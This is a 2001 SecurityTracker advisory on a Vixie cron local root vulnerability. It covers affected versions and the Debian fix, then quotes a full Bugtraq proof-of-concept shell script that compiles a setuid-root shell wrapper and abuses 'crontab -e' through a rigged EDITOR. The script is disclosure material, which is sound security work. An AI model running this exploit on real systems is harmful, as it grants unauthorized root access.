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Category:   Application (Generic)  >   Cron Vendors:   Vixie, Paul
(Exploit Code Released) Re: Cron Utility Allows Local Users to Obtain Root-Level Privileges
SecurityTracker Alert ID:  1001490
SecurityTracker URL:  http://securitytracker.com/id/1001490
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 8 2001
Impact:   Execution of arbitrary code via local system, Root access via local system
Exploit Included:  Yes  
Version(s): prior to 3.0pl1-57.3
Description:   A vulnerability was reported in the Vixie cron utility that allows local users to obtain root-level privileges on the host.

It is reported that a recent (fall 2000) security fix to cron introduced this vulnerability. The utility apparently does not properly release privileges before invoking the editor, allowing a local user to execute commands on the host with root-level privileges.

Exploit code was released. See the code in the Source Message.

Impact:   A local user can execute commands on the host with root-level privileges, thereby obtaining root level access to the host.
Solution:   This has been fixed in version 3.0pl1-57.3 (or 3.0pl1-67 for unstable). See the Debian Security Advisory in the Message History for more details.
Vendor URL:  www.debian.org/security/ (Links to External Site)
Cause:   State error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry is a follow-up to the message listed below.
May 8 2001 Cron Utility Allows Local Users to Obtain Root-Level Privileges



 Source Message Contents

Subject:  Vixie cron vulnerability


  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---559023410-851401618-989273077=:27132
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.GSO.4.30.0105071605031.27191@mail>

Greetings Bugtraqers,

Attached is a simple proof of concept for the vixie cron vulnerability
recently published in Debian Security Advisory DSA-054-1. The code was
written during SIA analysis of this vulnerability.

Further information on the vulnerability may be found in the SecurityFocus
SIA commercial alert, also attached to this message.

Cade Cairns
SecurityFocus
http://www.securityfocus.com/



-- SecurityTracker Has Decoded The Following MIME Contents For Your Convenience --

#!/bin/sh
#
# cronboom - simple proof-of-concept exploit for vixie cron version 3.1pl1
#
# synopsis:
#   the crontab file maintenance program (crontab) fails to drop privileges
#   before invoking the editor under certain circumstances.
#
# description:
#   a serialization error exists in some versions of the file maintenance
#   program, crontab.  the vulnerability was introduced in versions which
#   were patched for seperate vulnerability in fall of 2000 (see Bugtraq
#   ID #1960).
#
#   when a parsing error occurs after a modification operation, crontab will
#   fail to drop privileges correctly for subsequent modification operations.
#   because the program is installed setuid root, it may be possible for a
#   local user to gain root privileges.
#
# affected versions:
#   cron_3.0pl1-57.2 distributed with Debian Linux 2.2.
#
#   note that copies of the program with the patch mentioned above are likely
#   to also be vulnerable.

#
# references:
#   http://www.securityfocus.com/bid/2687
#
# 05/07/01 cairnsc@securityfocus.com

CRONTAB=/usr/bin/crontab

if ! test -x $CRONTAB; then
  echo "** unable to locate crontab executable, exiting"
  exit 1
fi

cat > vcsh.c << EOF
#include 

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/sh", "sh", NULL);
}
EOF

echo "** compiling shell wrapper as $PWD/vcsh"
cc -o $PWD/vcsh $PWD/vcsh.c

if ! test -x $PWD/vcsh; then
  echo "** compilation failed, exiting"
  exit 1
fi

echo "** creating simple exploit script as $PWD/vcex.sh"
cat > vcex.sh << EOF
#!/bin/sh

sleep 1 && echo "foo" >> \$1

if test -f $PWD/vcboom; then
  chown root.root $PWD/vcsh
  chmod 4755 $PWD/vcsh
  rm $PWD/vcboom
else
  touch $PWD/vcboom
fi
EOF

chmod 0755 $PWD/vcex.sh

echo "** running $CRONTAB -e"
echo "**"
echo "** enter 'yes' at the first prompt, then enter 'no' at the second"
echo

(EDITOR=$PWD/vcex.sh $CRONTAB -e)

echo
echo "** done, the shell wrapper should be suid root"
exit 0



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